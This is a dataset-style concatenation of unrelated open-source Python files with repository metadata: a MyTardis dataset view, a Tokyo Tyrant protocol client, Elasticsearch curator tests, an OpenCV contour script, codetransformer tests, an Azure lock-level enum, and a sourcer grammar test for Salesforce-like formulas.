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pansapiens/mytardis
tardis/apps/mx_views/views.py
3
2892
from django.conf import settings from django.core.paginator import Paginator, InvalidPage, EmptyPage from django.http import HttpResponse from tardis.tardis_portal.auth import decorators as authz from tardis.tardis_portal.models import Dataset from tardis.tardis_portal.shortcuts import get_experiment_referer from tardis.tardis_portal.shortcuts import render_response_index @authz.dataset_access_required def view_full_dataset(request, dataset_id): """Displays a MX Dataset and associated information. Shows a full (hundreds of images) dataset its metadata and a list of associated files with the option to show metadata of each file and ways to download those files. With write permission this page also allows uploading and metadata editing. Settings for this view: INSTALLED_APPS += ("tardis.apps.mx_views",) DATASET_VIEWS = [("http://synchrotron.org.au/views/dataset/full", "tardis.apps.mx_views.views.view_full_dataset"),] """ dataset = Dataset.objects.get(id=dataset_id) def get_datafiles_page(): # pagination was removed by someone in the interface but not here. # need to fix. pgresults = 100 paginator = Paginator(dataset.datafile_set.all(), pgresults) try: page = int(request.GET.get('page', '1')) except ValueError: page = 1 # If page request (9999) is out of range, deliver last page of results. try: return paginator.page(page) except (EmptyPage, InvalidPage): return paginator.page(paginator.num_pages) display_images = dataset.get_images() image_count = len(display_images) if image_count > 4: # take 4 evenly spaced images from the set display_images = display_images[0::image_count / 4][:4] upload_method = getattr(settings, "UPLOAD_METHOD", "uploadify") c = { 'dataset': dataset, 'datafiles': get_datafiles_page(), 'parametersets': dataset.getParameterSets() .exclude(schema__hidden=True), 'has_download_permissions': authz.has_dataset_download_access(request, dataset_id), 'has_write_permissions': authz.has_dataset_write(request, dataset_id), 'from_experiment': \ get_experiment_referer(request, dataset_id), 'other_experiments': \ authz.get_accessible_experiments_for_dataset(request, dataset_id), 'display_images': display_images, 'upload_method': upload_method, 'default_organization': getattr(settings, 'DEFAULT_ARCHIVE_ORGANIZATION', 'classic'), 'default_format': getattr(settings, 'DEFAULT_ARCHIVE_FORMATS', ['tgz', 'tar'])[0] } return HttpResponse(render_response_index( request, 'mx_views/view_full_dataset.html', c))
bsd-3-clause
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79
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twidi/pytyrant
pytyrant.py
1
14361
"""Pure python implementation of the binary Tokyo Tyrant 1.1.17 protocol Tokyo Cabinet <http://tokyocabinet.sourceforge.net/> is a "super hyper ultra database manager" written and maintained by Mikio Hirabayashi and released under the LGPL. Tokyo Tyrant is the de facto database server for Tokyo Cabinet written and maintained by the same author. It supports a REST HTTP protocol, memcached, and its own simple binary protocol. This library implements the full binary protocol for the Tokyo Tyrant 1.1.17 in pure Python as defined here:: http://tokyocabinet.sourceforge.net/tyrantdoc/ Typical usage is with the PyTyrant class which provides a dict-like wrapper for the raw Tyrant protocol:: >>> import pytyrant >>> t = pytyrant.PyTyrant.open('127.0.0.1', 1978) >>> t['__test_key__'] = 'foo' >>> t.concat('__test_key__', 'bar') >>> print t['__test_key__'] foobar >>> del t['__test_key__'] """ import math import socket import struct import UserDict __version__ = '1.1.17' __all__ = [ 'Tyrant', 'TyrantError', 'PyTyrant', 'RDBMONOULOG', 'RDBXOLCKREC', 'RDBXOLCKGLB', ] class TyrantError(Exception): pass DEFAULT_PORT = 1978 MAGIC = 0xc8 RDBMONOULOG = 1 << 0 RDBXOLCKREC = 1 << 0 RDBXOLCKGLB = 1 << 1 class C(object): """ Tyrant Protocol constants """ put = 0x10 putkeep = 0x11 putcat = 0x12 putshl = 0x13 putnr = 0x18 out = 0x20 get = 0x30 mget = 0x31 vsiz = 0x38 iterinit = 0x50 iternext = 0x51 fwmkeys = 0x58 addint = 0x60 adddouble = 0x61 ext = 0x68 sync = 0x70 vanish = 0x71 copy = 0x72 restore = 0x73 setmst = 0x78 rnum = 0x80 size = 0x81 stat = 0x88 misc = 0x90 def _t0(code): return [chr(MAGIC) + chr(code)] def _t1(code, key): return [ struct.pack('>BBI', MAGIC, code, len(key)), key, ] def _t1FN(code, func, opts, args): outlst = [ struct.pack('>BBIII', MAGIC, code, len(func), opts, len(args)), func, ] for k in args: outlst.extend([struct.pack('>I', len(k)), k]) return outlst def _t1R(code, key, msec): return [ struct.pack('>BBIQ', MAGIC, code, len(key), msec), key, ] def _t1M(code, key, count): return [ struct.pack('>BBII', MAGIC, code, len(key), count), key, ] def _tN(code, klst): outlst = [struct.pack('>BBI', MAGIC, code, len(klst))] for k in klst: outlst.extend([struct.pack('>I', len(k)), k]) return outlst def _t2(code, key, value): return [ struct.pack('>BBII', MAGIC, code, len(key), len(value)), key, value, ] def _t2W(code, key, value, width): return [ struct.pack('>BBIII', MAGIC, code, len(key), len(value), width), key, value, ] def _t3F(code, func, opts, key, value): return [ struct.pack('>BBIIII', MAGIC, code, len(func), opts, len(key), len(value)), func, key, value, ] def _tDouble(code, key, integ, fract): return [ struct.pack('>BBIQQ', MAGIC, code, len(key), integ, fract), key, ] def socksend(sock, lst): sock.sendall(''.join(lst)) def sockrecv(sock, bytes): d = '' while len(d) < bytes: c = sock.recv(min(8192, bytes - len(d))) if not c: raise TyrantError('Connection closed') d += c return d def socksuccess(sock): fail_code = ord(sockrecv(sock, 1)) if fail_code: raise TyrantError(fail_code) def socklen(sock): return struct.unpack('>I', sockrecv(sock, 4))[0] def socklong(sock): return struct.unpack('>Q', sockrecv(sock, 8))[0] def sockstr(sock): return sockrecv(sock, socklen(sock)) def sockdouble(sock): intpart, fracpart = struct.unpack('>QQ', sockrecv(sock, 16)) return intpart + (fracpart * 1e-12) def sockstrpair(sock): klen = socklen(sock) vlen = socklen(sock) k = sockrecv(sock, klen) v = sockrecv(sock, vlen) return k, v class PyTyrant(object, UserDict.DictMixin): """ Dict-like proxy for a Tyrant instance """ @classmethod def open(cls, *args, **kw): return cls(Tyrant.open(*args, **kw)) def __init__(self, t): self.t = t def __repr__(self): # The __repr__ for UserDict.DictMixin isn't desirable # for a large KV store :) return object.__repr__(self) def has_key(self, key): return key in self def __contains__(self, key): try: self.t.vsiz(key) except TyrantError: return False else: return True def setdefault(self, key, value): try: self.t.putkeep(key, value) except TyrantError: return self[key] return value def __setitem__(self, key, value): self.t.put(key, value) def __getitem__(self, key): try: return self.t.get(key) except TyrantError: raise KeyError(key) def __delitem__(self, key): try: self.t.out(key) except TyrantError: raise KeyError(key) def __iter__(self): return self.iterkeys() def iterkeys(self): self.t.iterinit() try: while True: yield self.t.iternext() except TyrantError: pass def keys(self): return list(self.iterkeys()) def __len__(self): return self.t.rnum() def clear(self): self.t.vanish() def update(self, other=None, **kwargs): # Make progressively weaker assumptions about "other" if other is None: pass elif hasattr(other, 'iteritems'): self.multi_set(other.iteritems()) elif hasattr(other, 'keys'): self.multi_set([(k, other[k]) for k in other.keys()]) else: self.multi_set(other) if kwargs: self.update(kwargs) def multi_del(self, keys, no_update_log=False): opts = (no_update_log and RDBMONOULOG or 0) if not isinstance(keys, (list, tuple)): keys = list(keys) self.t.misc("outlist", opts, keys) def multi_get(self, keys, no_update_log=False): opts = (no_update_log and RDBMONOULOG or 0) if not isinstance(keys, (list, tuple)): keys = list(keys) rval = self.t.misc("getlist", opts, keys) if len(rval) <= len(keys): # 1.1.10 protocol, may return invalid results if len(rval) < len(keys): raise KeyError("Missing a result, unusable response in 1.1.10") return rval # 1.1.11 protocol returns interleaved key, value list d = dict((rval[i], rval[i + 1]) for i in xrange(0, len(rval), 2)) return map(d.get, keys) def multi_set(self, items, no_update_log=False): opts = (no_update_log and RDBMONOULOG or 0) lst = [] for k, v in items: lst.extend((k, v)) self.t.misc("putlist", opts, lst) def call_func(self, func, key, value, record_locking=False, global_locking=False): opts = ( (record_locking and RDBXOLCKREC or 0) | (global_locking and RDBXOLCKGLB or 0)) return self.t.ext(func, opts, key, value) def get_size(self, key): try: return self.t.vsiz(key) except TyrantError: raise KeyError(key) def get_stats(self): return dict(l.split('\t', 1) for l in self.t.stat().splitlines() if l) def prefix_keys(self, prefix, maxkeys=None): if maxkeys is None: maxkeys = len(self) return self.t.fwmkeys(prefix, maxkeys) def concat(self, key, value, width=None): if width is None: self.t.putcat(key, value) else: self.t.putshl(key, value, width) def sync(self): self.t.sync() def close(self): self.t.close() class Tyrant(object): @classmethod def open(cls, host='127.0.0.1', port=DEFAULT_PORT, timeout=3.0): sock = socket.socket() sock.settimeout(timeout) sock.connect((host, port)) sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1) return cls(sock) def __init__(self, sock): self.sock = sock def close(self): self.sock.close() def put(self, key, value): """Unconditionally set key to value """ socksend(self.sock, _t2(C.put, key, value)) socksuccess(self.sock) def putkeep(self, key, value): """Set key to value if key does not already exist """ socksend(self.sock, _t2(C.putkeep, key, value)) socksuccess(self.sock) def putcat(self, key, value): """Append value to the existing value for key, or set key to value if it does not already exist """ socksend(self.sock, _t2(C.putcat, key, value)) socksuccess(self.sock) def putshl(self, key, value, width): """Equivalent to:: self.putcat(key, value) self.put(key, self.get(key)[-width:]) """ socksend(self.sock, _t2W(C.putshl, key, value, width)) socksuccess(self.sock) def putnr(self, key, value): """Set key to value without waiting for a server response """ socksend(self.sock, _t2(C.putnr, key, value)) def out(self, key): """Remove key from server """ socksend(self.sock, _t1(C.out, key)) socksuccess(self.sock) def get(self, key): """Get the value of a key from the server """ socksend(self.sock, _t1(C.get, key)) socksuccess(self.sock) return sockstr(self.sock) def _mget(self, klst): socksend(self.sock, _tN(C.mget, klst)) socksuccess(self.sock) numrecs = socklen(self.sock) for i in xrange(numrecs): k, v = sockstrpair(self.sock) yield k, v def mget(self, klst): """Get key,value pairs from the server for the given list of keys """ return list(self._mget(klst)) def vsiz(self, key): """Get the size of a value for key """ socksend(self.sock, _t1(C.vsiz, key)) socksuccess(self.sock) return socklen(self.sock) def iterinit(self): """Begin iteration over all keys of the database """ socksend(self.sock, _t0(C.iterinit)) socksuccess(self.sock) def iternext(self): """Get the next key after iterinit """ socksend(self.sock, _t0(C.iternext)) socksuccess(self.sock) return sockstr(self.sock) def _fwmkeys(self, prefix, maxkeys): socksend(self.sock, _t1M(C.fwmkeys, prefix, maxkeys)) socksuccess(self.sock) numkeys = socklen(self.sock) for i in xrange(numkeys): yield sockstr(self.sock) def fwmkeys(self, prefix, maxkeys): """Get up to the first maxkeys starting with prefix """ return list(self._fwmkeys(prefix, maxkeys)) def addint(self, key, num): socksend(self.sock, _t1M(C.addint, key, num)) socksuccess(self.sock) return socklen(self.sock) def adddouble(self, key, num): fracpart, intpart = math.modf(num) fracpart, intpart = int(fracpart * 1e12), int(intpart) socksend(self.sock, _tDouble(C.adddouble, key, fracpart, intpart)) socksuccess(self.sock) return sockdouble(self.sock) def ext(self, func, opts, key, value): # tcrdbext opts are RDBXOLCKREC, RDBXOLCKGLB """Call func(key, value) with opts opts is a bitflag that can be RDBXOLCKREC for record locking and/or RDBXOLCKGLB for global locking""" socksend(self.sock, _t3F(C.ext, func, opts, key, value)) socksuccess(self.sock) return sockstr(self.sock) def sync(self): """Synchronize the database """ socksend(self.sock, _t0(C.sync)) socksuccess(self.sock) def vanish(self): """Remove all records """ socksend(self.sock, _t0(C.vanish)) socksuccess(self.sock) def copy(self, path): """Hot-copy the database to path """ socksend(self.sock, _t1(C.copy, path)) socksuccess(self.sock) def restore(self, path, msec): """Restore the database from path at timestamp (in msec) """ socksend(self.sock, _t1R(C.copy, path, msec)) socksuccess(self.sock) def setmst(self, host, port): """Set master to host:port """ socksend(self.sock, _t1M(C.setmst, host, port)) socksuccess(self.sock) def rnum(self): """Get the number of records in the database """ socksend(self.sock, _t0(C.rnum)) socksuccess(self.sock) return socklong(self.sock) def size(self): """Get the size of the database """ socksend(self.sock, _t0(C.size)) socksuccess(self.sock) return socklong(self.sock) def stat(self): """Get some statistics about the database """ socksend(self.sock, _t0(C.stat)) socksuccess(self.sock) return sockstr(self.sock) def _misc(self, func, opts, args): # tcrdbmisc opts are RDBMONOULOG socksend(self.sock, _t1FN(C.misc, func, opts, args)) try: socksuccess(self.sock) finally: numrecs = socklen(self.sock) for i in xrange(numrecs): yield sockstr(self.sock) def misc(self, func, opts, args): """All databases support "putlist", "outlist", and "getlist". "putlist" is to store records. It receives keys and values one after the other, and returns an empty list. "outlist" is to remove records. It receives keys, and returns an empty list. "getlist" is to retrieve records. It receives keys, and returns values. Table database supports "setindex", "search", "genuid". opts is a bitflag that can be RDBMONOULOG to prevent writing to the update log """ return list(self._misc(func, opts, args)) def main(): import doctest doctest.testmod() if __name__ == '__main__': main()
mit
-5,985,833,604,781,468,000
25.111
114
0.573
false
HonzaKral/curator
test_curator/integration/test_time_based.py
1
1872
from datetime import datetime, timedelta import curator from . import CuratorTestCase class TestTimeBasedDeletion(CuratorTestCase): def test_curator_will_properly_delete_indices(self): self.create_indices(10) self.run_curator(delete_older=3) mtd = self.client.cluster.state(index=self.args['prefix'] + '*', metric='metadata') self.assertEquals(4, len(mtd['metadata']['indices'].keys())) def test_curator_will_properly_delete_hourly_indices(self): self.create_indices(10, 'hours') self.run_curator(delete_older=3, time_unit='hours') mtd = self.client.cluster.state(index=self.args['prefix'] + '*', metric='metadata') self.assertEquals(4, len(mtd['metadata']['indices'].keys())) class TestFindExpiredIndices(CuratorTestCase): def test_find_indices_ignores_indices_with_different_prefix_or_time_unit(self): self.create_index('logstash-2012.01.01') # wrong precision self.create_index('not-logstash-2012.01.01.00') # wrong prefix self.create_index('logstash-2012.01.01.00') expired = list(curator.find_expired_indices(self.client, 'hours', 1)) self.assertEquals(1, len(expired)) self.assertEquals('logstash-2012.01.01.00', expired[0][0]) def test_find_reports_correct_time_interval_from_cutoff(self): self.create_index('l-2014.01.01') self.create_index('l-2014.01.02') # yesterday is always save since we reset to mignight and do <, not <= self.create_index('l-2014.01.03') expired = list(curator.find_expired_indices(self.client, 'days', 1, utc_now=datetime(2014, 1, 4, 3, 45, 50), prefix='l-')) self.assertEquals( [ (u'l-2014.01.01', timedelta(2)), (u'l-2014.01.02', timedelta(1)) ], expired )
apache-2.0
-1,606,032,251,548,790,800
40.6
91
0.635
false
chaubold/hytra
tests/core/test_conflictingsegmentations.py
1
5839
from __future__ import print_function, absolute_import, nested_scopes, generators, division, with_statement, unicode_literals import logging from hytra.core.ilastik_project_options import IlastikProjectOptions from hytra.jst.conflictingsegmentsprobabilitygenerator import ConflictingSegmentsProbabilityGenerator from hytra.core.ilastikhypothesesgraph import IlastikHypothesesGraph from hytra.core.fieldofview import FieldOfView try: import multiHypoTracking_with_cplex as mht except ImportError: try: import multiHypoTracking_with_gurobi as mht except ImportError: mht = None import dpct def constructFov(shape, t0, t1, scale=[1, 1, 1]): [xshape, yshape, zshape] = shape [xscale, yscale, zscale] = scale fov = FieldOfView(t0, 0, 0, 0, t1, xscale * (xshape - 1), yscale * (yshape - 1), zscale * (zshape - 1)) return fov # def test_twoSegmentations(): # # set up ConflictingSegmentsProbabilityGenerator # ilpOptions = IlastikProjectOptions() # ilpOptions.divisionClassifierPath = None # ilpOptions.divisionClassifierFilename = None # ilpOptions.rawImageFilename = 'tests/multiSegmentationHypothesesTestDataset/Raw.h5' # ilpOptions.rawImagePath = 'exported_data' # ilpOptions.rawImageAxes = 'txyzc' # ilpOptions.labelImageFilename = 'tests/multiSegmentationHypothesesTestDataset/segmentation.h5' # ilpOptions.objectCountClassifierFilename = 'tests/multiSegmentationHypothesesTestDataset/tracking.ilp' # additionalLabelImageFilenames = ['tests/multiSegmentationHypothesesTestDataset/segmentationAlt.h5'] # additionalLabelImagePaths = [ilpOptions.labelImagePath] # probabilityGenerator = ConflictingSegmentsProbabilityGenerator( # ilpOptions, # additionalLabelImageFilenames, # additionalLabelImagePaths, # useMultiprocessing=False, # verbose=False) # probabilityGenerator.fillTraxels(usePgmlink=False) # assert(len(probabilityGenerator.TraxelsPerFrame[0]) == 4) # assert(len(probabilityGenerator.TraxelsPerFrame[1]) == 3) # assert(len(probabilityGenerator.TraxelsPerFrame[2]) == 3) # assert(len(probabilityGenerator.TraxelsPerFrame[3]) == 4) # filenamesPerTraxel = [t.segmentationFilename for t in probabilityGenerator.TraxelsPerFrame[3].values()] # idsPerTraxel = [t.idInSegmentation for t in probabilityGenerator.TraxelsPerFrame[3].values()] # assert(idsPerTraxel.count(1) == 2) # assert(idsPerTraxel.count(2) == 2) # assert(filenamesPerTraxel.count('tests/multiSegmentationHypothesesTestDataset/segmentation.h5') == 2) # assert(filenamesPerTraxel.count('tests/multiSegmentationHypothesesTestDataset/segmentationAlt.h5') == 2) # # build hypotheses graph, check that conflicting traxels are properly detected # fieldOfView = constructFov(probabilityGenerator.shape, # probabilityGenerator.timeRange[0], # probabilityGenerator.timeRange[1], # [probabilityGenerator.x_scale, # probabilityGenerator.y_scale, # probabilityGenerator.z_scale]) # hypotheses_graph = IlastikHypothesesGraph( # probabilityGenerator=probabilityGenerator, # timeRange=probabilityGenerator.timeRange, # maxNumObjects=1, # numNearestNeighbors=2, # fieldOfView=fieldOfView, # withDivisions=False, # divisionThreshold=0.1 # ) # assert(hypotheses_graph.countNodes() == 14) # assert(hypotheses_graph.countArcs() == 23) # assert(hypotheses_graph._graph.node[(0, 1)]['traxel'].conflictingTraxelIds == [3]) # assert(hypotheses_graph._graph.node[(0, 3)]['traxel'].conflictingTraxelIds == [1]) # assert(hypotheses_graph._graph.node[(0, 2)]['traxel'].conflictingTraxelIds == [4]) # assert(hypotheses_graph._graph.node[(0, 4)]['traxel'].conflictingTraxelIds == [2]) # assert(hypotheses_graph._graph.node[(1, 1)]['traxel'].conflictingTraxelIds == [2, 3]) # assert(hypotheses_graph._graph.node[(1, 2)]['traxel'].conflictingTraxelIds == [1]) # assert(hypotheses_graph._graph.node[(1, 3)]['traxel'].conflictingTraxelIds == [1]) # # track, but check that the right exclusion constraints are present # hypotheses_graph.insertEnergies() # trackingGraph = hypotheses_graph.toTrackingGraph() # assert(len(trackingGraph.model['exclusions']) == 8) # for exclusionSet in trackingGraph.model['exclusions']: # assert(len(exclusionSet) == 2) # # use multiHypoTracking, insert exclusion constraints! # if mht is not None: # result = mht.track(trackingGraph.model, {"weights": [10, 10, 500, 500]}) # else: # return # # standard dpct cannot handle exclusion constraints yet # result = dpct.trackFlowBased(trackingGraph.model, {"weights": [10, 10, 500, 500]}) # hypotheses_graph.insertSolution(result) # # hypotheses_graph.computeLineage() # numActivePerFrame = {} # for node in hypotheses_graph.nodeIterator(): # timeframe = node[0] # if 'value' in hypotheses_graph._graph.node[node]: # value = hypotheses_graph._graph.node[node]['value'] # else: # value = 0 # numActivePerFrame.setdefault(timeframe, []).append(value) # for _, v in numActivePerFrame.items(): # assert(sum(v) == 2) # edgeFlow = 0 # for edge in hypotheses_graph.arcIterator(): # if 'value' in hypotheses_graph._graph.edge[edge[0]][edge[1]]: # edgeFlow += hypotheses_graph._graph.edge[edge[0]][edge[1]]['value'] # assert(edgeFlow == 6) if __name__ == "__main__": logging.basicConfig(level=logging.DEBUG) test_twoSegmentations()
mit
-4,230,047,409,174,636,000
43.573
125
0.68
false
makelove/OpenCV-Python-Tutorial
ch21-轮廓Contours/21-findContour.py
1
1096
# -*- coding: utf-8 -*- import numpy as np import cv2 # im = cv2.imread('test.jpg')# # im = cv2.imread('poker5hearts.jpg')# # im = cv2.imread('../data/black-white-rect.png')#contour.jpg # im = cv2.imread('../data/chessboard.jpeg') imgray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) cv2.imshow("imgray", imgray) #需要注意的是cv2.findContours()函数接受的参数为二值图,即黑白的(不是灰度图) # 所以读取的图像要先转成灰度的,再转成二值图 # ret, thresh = cv2.threshold(imgray, 0, 25, 0) # ret, thresh = cv2.threshold(imgray, 0, 100, 0) ret, thresh = cv2.threshold(src=imgray, thresh=127, maxval=255, type=cv2.THRESH_BINARY)#src, thresh, maxval, type cv2.imshow("thresh", thresh) #轮廓提取模式 Contour_Retrieval_Mode image, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) print("contours size: ", len(contours)) img = cv2.drawContours(im, contours, -1, (0,255,0), 3) # img = cv2.drawContours(im, contours, 3, (255, 0, 0), 3) cv2.namedWindow("contour.jpg", 0) cv2.imshow("contour.jpg", img) cv2.waitKey(0)
mit
-2,430,169,206,289,489,000
31.8
113
0.703
false
llllllllll/codetransformer
codetransformer/tests/test_code.py
1
5761
from dis import dis from io import StringIO from itertools import product, chain import random import sys import pytest from codetransformer.code import Code, Flag, pycode from codetransformer.instructions import LOAD_CONST, LOAD_FAST, uses_free @pytest.fixture(scope='module') def sample_flags(request): random.seed(8025816322119661921) # ayy lmao nflags = len(Flag.__members__) return tuple( dict(zip(Flag.__members__.keys(), case)) for case in chain( random.sample(list(product((True, False), repeat=nflags)), 1000), [[True] * nflags], [[False] * nflags], ) ) def test_lnotab_roundtrip(): # DO NOT ADD EXTRA LINES HERE def f(): # pragma: no cover a = 1 b = 2 c = 3 d = 4 a, b, c, d start_line = test_lnotab_roundtrip.__code__.co_firstlineno + 3 lines = [start_line + n for n in range(5)] code = Code.from_pycode(f.__code__) lnotab = code.lnotab assert lnotab.keys() == set(lines) assert isinstance(lnotab[lines[0]], LOAD_CONST) assert lnotab[lines[0]].arg == 1 assert isinstance(lnotab[lines[1]], LOAD_CONST) assert lnotab[lines[1]].arg == 2 assert isinstance(lnotab[lines[2]], LOAD_CONST) assert lnotab[lines[2]].arg == 3 assert isinstance(lnotab[lines[3]], LOAD_CONST) assert lnotab[lines[3]].arg == 4 assert isinstance(lnotab[lines[4]], LOAD_FAST) assert lnotab[lines[4]].arg == 'a' assert f.__code__.co_lnotab == code.py_lnotab == code.to_pycode().co_lnotab def test_lnotab_really_dumb_whitespace(): ns = {} exec('def f():\n lol = True' + '\n' * 1024 + ' wut = True', ns) f = ns['f'] code = Code.from_pycode(f.__code__) lines = [2, 1026] lnotab = code.lnotab assert lnotab.keys() == set(lines) assert isinstance(lnotab[lines[0]], LOAD_CONST) assert lnotab[lines[0]].arg assert isinstance(lnotab[lines[1]], LOAD_CONST) assert lnotab[lines[1]].arg assert f.__code__.co_lnotab == code.py_lnotab == code.to_pycode().co_lnotab def test_flag_packing(sample_flags): for flags in sample_flags: assert Flag.unpack(Flag.pack(**flags)) == flags def test_flag_unpack_too_big(): assert all(Flag.unpack(Flag.max).values()) with pytest.raises(ValueError): Flag.unpack(Flag.max + 1) def test_flag_max(): assert Flag.pack( CO_OPTIMIZED=True, CO_NEWLOCALS=True, CO_VARARGS=True, CO_VARKEYWORDS=True, CO_NESTED=True, CO_GENERATOR=True, CO_NOFREE=True, CO_COROUTINE=True, CO_ITERABLE_COROUTINE=True, CO_FUTURE_DIVISION=True, CO_FUTURE_ABSOLUTE_IMPORT=True, CO_FUTURE_WITH_STATEMENT=True, CO_FUTURE_PRINT_FUNCTION=True, CO_FUTURE_UNICODE_LITERALS=True, CO_FUTURE_BARRY_AS_BDFL=True, CO_FUTURE_GENERATOR_STOP=True, ) == Flag.max def test_flag_max_immutable(): with pytest.raises(AttributeError): Flag.CO_OPTIMIZED.max = None def test_code_multiple_varargs(): with pytest.raises(ValueError) as e: Code( (), ( '*args', '*other', ), ) assert str(e.value) == 'cannot specify *args more than once' def test_code_multiple_kwargs(): with pytest.raises(ValueError) as e: Code( (), ( '**kwargs', '**kwargs', ), ) assert str(e.value) == 'cannot specify **kwargs more than once' @pytest.mark.parametrize('cls', uses_free) def test_dangling_var(cls): instr = cls('dangling') with pytest.raises(ValueError) as e: Code((instr,)) assert ( str(e.value) == "Argument to %r is not in cellvars or freevars." % instr ) def test_code_flags(sample_flags): attr_map = { 'CO_NESTED': 'is_nested', 'CO_GENERATOR': 'is_generator', 'CO_COROUTINE': 'is_coroutine', 'CO_ITERABLE_COROUTINE': 'is_iterable_coroutine', 'CO_NEWLOCALS': 'constructs_new_locals', } for flags in sample_flags: if sys.version_info < (3, 6): codestring = b'd\x00\x00S' # return None else: codestring = b'd\x00S' # return None code = Code.from_pycode(pycode( argcount=0, kwonlyargcount=0, nlocals=2, stacksize=0, flags=Flag.pack(**flags), codestring=codestring, constants=(None,), names=(), varnames=('a', 'b'), filename='', name='', firstlineno=0, lnotab=b'', )) assert code.flags == flags for flag, attr in attr_map.items(): if flags[flag]: assert getattr(code, attr) @pytest.fixture def abc_code(): a = LOAD_CONST('a') b = LOAD_CONST('b') c = LOAD_CONST('c') # not in instrs code = Code((a, b), argnames=()) return (a, b, c), code def test_instr_index(abc_code): (a, b, c), code = abc_code assert code.index(a) == 0 assert code.index(b) == 1 with pytest.raises(ValueError): code.index(c) def test_code_contains(abc_code): (a, b, c), code = abc_code assert a in code assert b in code assert c not in code def test_code_dis(capsys): @Code.from_pyfunc def code(): # pragma: no cover a = 1 b = 2 return a, b buf = StringIO() dis(code.to_pycode(), file=buf) expected = buf.getvalue() code.dis() out, err = capsys.readouterr() assert not err assert out == expected buf = StringIO() code.dis(file=buf) assert buf.getvalue() == expected
gpl-2.0
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Azure/azure-sdk-for-python
sdk/resources/azure-mgmt-resource/azure/mgmt/resource/locks/v2015_01_01/models/_management_lock_client_enums.py
1
1363
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from enum import Enum, EnumMeta from six import with_metaclass class _CaseInsensitiveEnumMeta(EnumMeta): def __getitem__(self, name): return super().__getitem__(name.upper()) def __getattr__(cls, name): """Return the enum member matching `name` We use __getattr__ instead of descriptors or inserting into the enum class' __dict__ in order to support `name` and `value` being both properties for enum members (which live in the class' __dict__) and enum members themselves. """ try: return cls._member_map_[name.upper()] except KeyError: raise AttributeError(name) class LockLevel(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): """The lock level of the management lock. """ NOT_SPECIFIED = "NotSpecified" CAN_NOT_DELETE = "CanNotDelete" READ_ONLY = "ReadOnly"
mit
8,379,623,869,956,419,000
37.943
94
0.599
false
jvs/sourcer
tests/test_salesforce.py
1
5119
from sourcer import Grammar # This is work in progress. # See: https://help.salesforce.com/articleView?id=customize_functions.htm&type=5 g = Grammar(r''' ``` import ast ``` start = Expression Expression = OperatorPrecedence( Atom | "(" >> Expression << ")", Postfix(ArgumentList | FieldAccess), Prefix("-" | "+" | "!"), RightAssoc("^"), LeftAssoc("*" | "/"), LeftAssoc("+" | "-" | "&"), NonAssoc("<=" | "<" | ">=" | ">"), NonAssoc("!=" | "<>" | "==" | "="), LeftAssoc("&&"), LeftAssoc("||"), ) class ArgumentList { arguments: "(" >> (Expression /? ",") << ")" } class FieldAccess { field: "." >> Word } Atom = Global | Identifier | Rational | Integer | String class Global { name: "$" >> Word } class Identifier { name: Word } # ASK: What is the real syntax for these things? Word = /[_a-zA-Z][_a-zA-Z0-9]*/ Rational = /(\d+\.\d*)|(\d*\.\d+)/ |> `float` Integer = /\d+/ |> `int` StringLiteral = /("([^"\\]|\\.)*")/ | /('([^'\\]|\\.)*')/ # For now, just use ast module to evaluate string literals. class String { value: StringLiteral |> `ast.literal_eval` } ignore /\s+/ ''', include_source=True) aliases = { '=': '==', '<>': '!=', } constants = { 'NULL': None, 'TRUE': True, 'FALSE': False, } # Incomplete collection of evaluators. evaluators = { '*': lambda x, y: x * y if x is not None and y is not None else None, '/': lambda x, y: x / y if x is not None and y is not None else None, '+': lambda x, y: x + y if x is not None and y is not None else None, '-': lambda x, y: x - y if x is not None and y is not None else None, '==': lambda x, y: x == y, '!=': lambda x, y: x != y, '&&': lambda x, y: x and y, '||': lambda x, y: x or y, '>': lambda x, y: x > y if x is not None and y is not None else False, '<': lambda x, y: x < y if x is not None and y is not None else False, '>=': lambda x, y: x >= y if x is not None and y is not None else False, '<=': lambda x, y: x <= y if x is not None and y is not None else False, 'AND': lambda *a: all(a), 'CONTAINS': lambda x, y: str(y) in str(x) if x is not None else True, 'IF': lambda x, y, z: y if x else z, 'ISBLANK': lambda x: x is None, 'LOG': lambda x: log10(x) if x is not None else None, 'MAX': lambda *a: max(*a), 'MIN': lambda *a: min(*a), 'MOD': lambda x, y: (x % y) if x is not None and y is not None else None, 'NOT': lambda x: not(x), 'OR': lambda *a: any(a), 'SQRT': lambda x: sqrt(x) if x is not None else None, 'TEXT': lambda x: str(x), } def evaluate(node, bindings): # Look up identifiers. if isinstance(node, g.Identifier): if node.name in bindings: return bindings[node.name] name = node.name.upper() return bindings.get(name, name) # Look up fields. if isinstance(node, g.Postfix) and isinstance(node.operator, g.FieldAccess): obj, field = node.left, node.operator.field if hasattr(obj, field): return getattr(obj, field) elif isinstance(obj, dict): return obj.get(field) else: return node # Evaluate function calls and operators. if isinstance(node, g.Infix): x, func, y = node.left, node.operator, node.right args = (x, y) elif isinstance(node, g.Postfix) and isinstance(node.operator, g.ArgumentList): func, args = node.left, node.operator.arguments else: return node # Check if we're using an alias. func = aliases.get(func, func) if func in evaluators: return evaluators[func](*args) else: return node def run(formula, bindings=None): updated_bindings = dict(constants) updated_bindings.update(bindings or {}) tree = g.parse(formula) return g.transform(tree, lambda node: evaluate(node, updated_bindings)) def test_some_simple_formulas(): result = run('1 + 2 * 3') assert result == 7 result = run('foo == bar && fiz == buz', bindings={ 'foo': 1, 'bar': 1, 'fiz': 2, 'buz': 2, }) assert result == True result = run('foo == bar && fiz == buz', bindings={ 'foo': 1, 'bar': 1, 'fiz': 2, 'buz': 3, }) assert result == False result = run('1 <= 2 && (false || true)') assert result == True # Explicitly compare to True. result = run('1 > 2 || (true && false)') assert result == False # Explicitly compare to False. result = run('foo != bar', bindings={'foo': 10, 'bar': 10}) assert not result result = run('foo != bar', bindings={'foo': 1, 'bar': 2}) assert result result = run('foo.bar', bindings={'foo': {'bar': 10}}) assert result == 10 result = run('foo.bar.baz', bindings={'foo': {'bar': {'baz': 100}}}) assert result == 100 result = run('MIN(20, 10, 30)') assert result == 10 